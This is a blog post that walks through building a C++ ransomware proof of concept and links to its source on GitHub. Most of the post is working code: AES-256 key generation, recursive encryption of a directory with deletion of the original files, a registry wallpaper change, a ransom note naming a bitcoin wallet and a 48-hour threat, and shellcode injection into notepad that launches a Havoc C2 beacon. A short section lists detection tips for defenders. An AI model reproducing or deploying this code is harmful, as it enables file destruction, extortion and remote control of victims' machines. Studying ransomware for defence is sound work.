Post

Building NomNom: A C++ Ransomware PoC for Red and Blue Teams

This blog post documents the process of building a functional C++ Ransomware Proof-of-Concept. This post breaks down how I went from zero to a Havoc C2-powered ransomware PoC.

Building NomNom: A C++ Ransomware PoC for Red and Blue Teams

Introduction

Welcome to my deep dive into NomNom, my C++ ransomware proof-of-concept (PoC). I built it to learn how ransomware ticks, and to share knowledge with blue teams and red teams alike. In this post, I’ll walk you through how I integrated the Havoc C2 framework into NomNom. This is strictly for educational and red team/blue team emulation purposes—to better understand attacker behaviors and how to defend against them. Let’s dig in!

Why Build NomNom?

I have been seeing a lot of news on Ransomware attacks and naturally it piqued my interest. As a red teamer, I wanted to understand it inside out: how it encrypts files, how it bypasses AV / EDR, how it communicates with the attackers, everything. It started on Ubuntu WSL and then later moved to my Windows 10 machine for easier testing. My goals in making NomNom apart from the core functionality:

  • Use the Crypto++ Library for encryption,
  • Custom ransom note generation
  • Changing the target’s wallpaper to a custom ransom themed image.
  • Command and Control (C2) communication
  • Exfiltrate the AES key and IV securely to the operator through the C2
  • Allow key retrieval for decryption post-payment
  • Code a decryption tool to undo the damage

Project Setup

Here’s the setup for NomNom.

  • OS: Windows 10 for development. Kali VM for the Havoc
  • IDE: Visual Studio Code with C/C++ Extensions and CMake Tools Extension.
  • Tools:
    • Visual Studio 2022: For compiling on Win10
    • CMake: Build system (v3.15+)
    • vcpkg: C/C++ Package Manager. Installed cryptopp using this.

Project Structure

1
2
3
4
5
6
7
8
9
\Desktop\NomNom\
|── build/                        // Build Files
├── src/
│   ├── NomNom.cpp                // Main Ransomware logic
│   ├── NomNom_decryptor.cpp      // Decryptor
│   ├── demon.h                   // Havoc shellcode
├── CMakeLists.txt
├── .gitignore
├── README.md

Tip: Use a VM for testing. I hit a Windows BSOD whiles testing on my machine

Installing Havoc

Installing Havoc was quite simple. I initially tried to install it on my Ubuntu WSL but I ran into some problems and later pivoted to my Kali Linux VM.

1
sudo apt update && sudo apt install havoc -y

Once installed, I configured and launched the Teamserver and used the Builder to generate shellcode for the Demon. Refer to the Havoc Documentation on how to do this.

Implementing Encryption

Before I could encrypt files, I first needed a secure way to generate keys (i.e Secret Key and IV) so I wrote this function to do just that.

Generation of Secure Keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int generateKeys(const fs::path& keyFile) {
    // check if keys file already exists
    if (fs::exists(keyFile)) {
        cout << "[*] File already exists: " << keyFile << " using values from it." << endl;
        return EXIT_SUCCESS;
    }

    fs::path parentDir = keyFile.parent_path();
    if (!parentDir.empty() && !fs::exists(parentDir)) {
        try {
            fs::create_directories(parentDir);
            std::cout << "[+] Created directory: " << parentDir << std::endl;
        } catch (const fs::filesystem_error& e) {
            std::cerr << "[-] Failed to create directory " << parentDir << ": " << e.what() << std::endl;
            return EXIT_FAILURE;
        }
    }

    AutoSeededRandomPool rng;

    // Generate AES-256 key (32 bytes) and IV (16 bytes)
    SecByteBlock key(AES::MAX_KEYLENGTH);
    SecByteBlock iv(AES::BLOCKSIZE);

    rng.GenerateBlock(key, key.size());
    rng.GenerateBlock(iv, iv.size());

    // Convert to Hex
    string encodedKey, encodedIV;
    HexEncoder encoder;

    encoder.Attach(new StringSink(encodedKey));
    encoder.Put(key.data(), key.size());
    encoder.MessageEnd();

    encoder.Attach(new StringSink(encodedIV));
    encoder.Put(iv.data(), iv.size());
    encoder.MessageEnd();

    // Write keys to file
    ofstream outFile(keyFile);
    if (!outFile) {
        cerr << "[-] Could not open output file to store keys: " << keyFile << endl;
        return EXIT_FAILURE;
    }
    outFile << encodedKey << '\n' << encodedIV;
    outFile.flush();
    outFile.close();

    cout << "[+] Key and IV generated successfully and stored in: " << keyFile << endl;
    return EXIT_SUCCESS;
}

The generate keys function generates the key and IV, hex encodes them and then stores that in a file. It first checks if the file already exists and if it does, it just uses values from that file. This was done to prevent double encryption or any other issues that may have arisen as a result. The plan is to have the file containing the keys exfiltrated to the C2 and then deleted from the target’s machine (yet to implement this).

Encryption

The below function handles the encryption:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int encryptFile(const fs::path& inputFile, const fs::path& outputFile, const fs::path& keyFile) {
    std::vector<CryptoPP::byte> key;
    std::vector<CryptoPP::byte> iv;

    loadKeys(keyFile, key, iv);

    try {
        CBC_Mode<AES>::Encryption encryptor;
        encryptor.SetKeyWithIV(key.data(), key.size(), iv.data(), iv.size());

        // Encrypt File
        FileSource(inputFile.string().c_str(), true,
            new StreamTransformationFilter(encryptor,
                new FileSink(outputFile.string().c_str()),
                BlockPaddingSchemeDef::PKCS_PADDING)
        );

        cout << "[+] File encrypted successfully: " << outputFile << endl;
        return EXIT_SUCCESS;
    }
    catch (const Exception& error) {
        cerr << "[-] Encryption failed: " << error.what() << endl;
        return EXIT_FAILURE;
    }
}

The loadkeys function reads the keys from the saved file (generated from the generatekeys function) and allows other functions or processes to use the values. This function is used in a larger function encryptDirectory which scans a folder and encrypts all files in it, it also goes into sub-folders and encrypts all files and then adds a .enc extension to the encrypted files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int encryptDirectory(const string& directory, const string& keyFile) {
    for (const auto& entry : fs::recursive_directory_iterator(directory)) {
        if (entry.is_regular_file()) {
            string filePath = entry.path().string();

            // check if file has already been encrypted
            if (filePath.ends_with(".enc")) {
                cout << "[*] File already encrypted: " << filePath << ". Skipping..." << endl;
                return EXIT_SUCCESS;
            }

            // add .enc extension to the file
            string encryptedFilePath = filePath + ".enc";

            // check if encryption worked and delete the original file
            if (encryptFile(filePath, encryptedFilePath, keyFile) == EXIT_SUCCESS) {
                fs::remove(filePath);
                cout << "[+] Deleted original file: " << filePath << endl;
            }
        }
    }
    return EXIT_SUCCESS;
}

After the files are encrypted, the original unencrypted versions are deleted to ensure the targets pay the ransom in order ro have the files restored.

The Antidote: Building the Decryptor Tool

To undo the encryption, there was the need for a decryption tool. This tool would also be provided to the target after the ransom is paid. It reads the keys stored in the file generated by generateKeys and then uses the values for the decryption process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int decryptFile(const fs::path& inputFile, const fs::path& outputFile, const fs::path& keyFile) {
    try {
        vector<CryptoPP::byte> key, iv;
        loadKeys(keyFile.string(), key, iv);

        // Read Encrypted Data from File
        ifstream inFile(inputFile, ios::binary);
        if (!inFile) {
            cerr << "[-] Error opening file: " << inputFile << " for decryption" << endl;
            return EXIT_FAILURE;
        }

        ostringstream buffer;
        buffer << inFile.rdbuf();
        string cipherText = buffer.str();
        inFile.close();

        // Decrypt Data
        string plainText;
        CBC_Mode<AES>::Decryption decryptor;
        decryptor.SetKeyWithIV(key.data(), key.size(), iv.data());

        StringSource(cipherText, true,
            new StreamTransformationFilter(decryptor,
                new StringSink(plainText),
                BlockPaddingSchemeDef::PKCS_PADDING)
        );

        // Write Decrypted Data to File
        ofstream outFile(outputFile, ios::binary);
        if (!outFile) {
            cerr << "[-] Error opening file: " << outputFile << " to store decrypted data." << endl;
            return EXIT_FAILURE;
        }
        outFile << plainText;
        outFile.close();

        cout << "[+] File decrypted successfully: " << outputFile << endl;
        return EXIT_SUCCESS;
    }
    catch (const Exception& error) {
        cerr << "[-] Decryption failed: " << error.what() << endl;
        return EXIT_FAILURE;
    }
}

Just like with encryption, decryptFile is implemented in a larger function decryptDirectory that checks for files with the .enc extension and then decrypts the contents. It also removes the .enc extension after successfull decryption.

Wallpaper Change

I have seen several instances of Ransomware that changes the wallpaper of the target machine to make it more apparent to the user what is happening so I wanted to include it in NomNom as well.

Here’s the code below;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int setRansomWallpaper(const wstring& imagePath) {
    // Registry path for wallpaper settings
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, L"Control Panel\\Desktop", 0, KEY_SET_VALUE, &hKey);
    if (result != ERROR_SUCCESS) {
        cerr << "[-] Failed to open registry key." << endl;
        return EXIT_FAILURE;
    }

    // Set wallpaper style (0 = Center, 2 = Stretch, 6 = Fit, 10 = Fill)
    DWORD style = 10;
    RegSetValueExW(hKey, L"WallpaperStyle", 0, REG_SZ, (BYTE*)L"10", sizeof(L"10"));
    RegSetValueExW(hKey, L"TileWallpaper", 0, REG_SZ, (BYTE*)L"0", sizeof(L"0"));

    RegCloseKey(hKey);

    // Apply the wallpaper
    BOOL spiResult = SystemParametersInfoW(
        SPI_SETDESKWALLPAPER,
        0,
        (PVOID)imagePath.c_str(),
        SPIF_UPDATEINIFILE | SPIF_SENDCHANGE
    );

    if (!spiResult) {
        cerr << "[-] Failed to apply wallpaper. Error code: " << GetLastError() << endl;
        return EXIT_FAILURE;
    }

    wcout << L"[+] Successfully set non-BMP wallpaper: " << imagePath << std::endl;
    return EXIT_SUCCESS;
}

The first time I run NomNom with this function implemented was surreal. This was when NomNom really started to take shape.

Ransom Note Generation

When NomNom is executed, a ransom note is generated which is then opened automatically using notepad. Notepad was the obvious choice as all Windows systems come with it pre-installed. Below is how I implemted it;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int generateRansomNote(const string& outDirectory) {
    string notePath = outDirectory + "/README_RECOVER_FILES.txt";

    ofstream ransomFile(notePath);
    if (!ransomFile) {
        std::cerr << "[-] Failed to create ransom note in: " << outDirectory << endl;
        return EXIT_FAILURE;
    }

    ransomFile << "YOUR FILES HAVE BEEN ENCRYPTED!\n\n"
        << "To recover your files, follow the instructions below:\n"
        << "1. Send 0.01 BTC to the following wallet address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n"
        << "2. Email us at NomNom@protonmail.com with proof of payment.\n"
        << "3. We will send you the decryption tool.\n\n"
        << "Failure to pay within 48 hours will result in permanent data loss.\n"
        << "DO NOT try to recover the files yourself! Any attempts may result in permanent data loss.";

    ransomFile.close();
    cout << "[+] Ransom note created at: " << notePath << std::endl;

   
    system(("notepad " + notePath).c_str());

    return EXIT_SUCCESS;
}

I tried to make it as realistic as possible.

Going Pro: Havoc C2 Integration

Now, for the Havoc C2 integration. Instead of dropping an exe, I generated shellcode which I could inject into a process and have it executed. An exe would be saved on disk which would make it prone to detection, although shellcode can equally be detected, it is a stealthier option. I generated x64 shellcode and then converted it to a C array using xxd.

1
xxd -i demon.bin > demon.h

I have experience with shellcode injection so implementing it in NomNom was pretty simple for me. I won’t go into the full details of how it works but here’s the code for it. It is important to note that the shellcode is injected in it’s raw formated. It is not encrypted or anything which makes it prone to detection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int injectShellCode(const unsigned char* shellcode, size_t shellcodeLen) {
    // start a new notepad process to inject shellcode
    STARTUPINFOA si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    if (!CreateProcessA("C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        cerr << "[-] CreateProcess failed: " << GetLastError() << "\n";
        return EXIT_FAILURE;
    }
    cout << "[+] Created a new notedpad process to inject shellcode into" << endl;

    LPVOID rMem = VirtualAllocEx(pi.hProcess, NULL, shellcodeLen, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    if (!rMem) {
        cerr << "[-] VirtualAllocEx failed: " << GetLastError() << "\n";
        TerminateProcess(pi.hProcess, 1);
        return EXIT_FAILURE;
    }

    if (!WriteProcessMemory(pi.hProcess, rMem, shellcode, shellcodeLen, NULL)) {
        cerr << "[-] WriteProcessMemory failed: " << GetLastError() << "\n";
        VirtualFreeEx(pi.hProcess, rMem, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 1);
        return EXIT_FAILURE;
    }
    cout << "Wrote shell code to allocated buffer" << endl;

    HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rMem, NULL, 0, NULL);
    if (!hThread) {
        cerr << "[-] CreateRemoteThread failed: " << GetLastError() << "\n";
        VirtualFreeEx(pi.hProcess, rMem, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 1);
        return EXIT_FAILURE;
    }

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return EXIT_SUCCESS;
}

When the shellcode is injected, it immediately runs the Havoc Demon which then connects back to the teamserver hence accomplishing C2 communications.

Blue Team Defense Tips

NomNom’s a PoC, but it mimics real world ransomware. Here’s how to spot and stop it:

  • File Changes: Watch for mass renames of files (fsutil fsinfo ntfsinfo logs) and specific extensions like .enc, .locked, etc.
  • Encryption: High CPU/disk IO from unknown processes
  • C2 Traffic: Unusual traffic to unusual ports. An example being 40056 in the case of Havoc
  • Shellcode Injection: Suspicious VirtualAllocEx/CreateRemoteThread calls

Red Team Tips

  • Setup a C++ project in Visual Studio or Visual Studio Code
  • Get the source files from my GitHub repo and add them to your project
  • Test in a VM with Windows Defender turned off as this is just a PoC
  • Remeber to use this lawfully and for educational purposes only

Pro Tip: Pair NomNom with a phishing sim for a full attack chain

Wrapping Up

NomNom’s been a wild ride and a very fun one at that. I learnt C++, how real world ransomware operates and how to use the Havoc C2 framework all while dodging build errors. Next up? A custom Havoc agent to handle decryption post-“payment”—stay tuned!

Check it out:

  • GitHub: Here
  • Follow me on X @ReggieAmuzu for updates

That’s it for this blog post. I hope this breakdown helps others in the community sharpen their tradecraft—offensively and defensively.

This post is licensed under CC BY 4.0 by the author.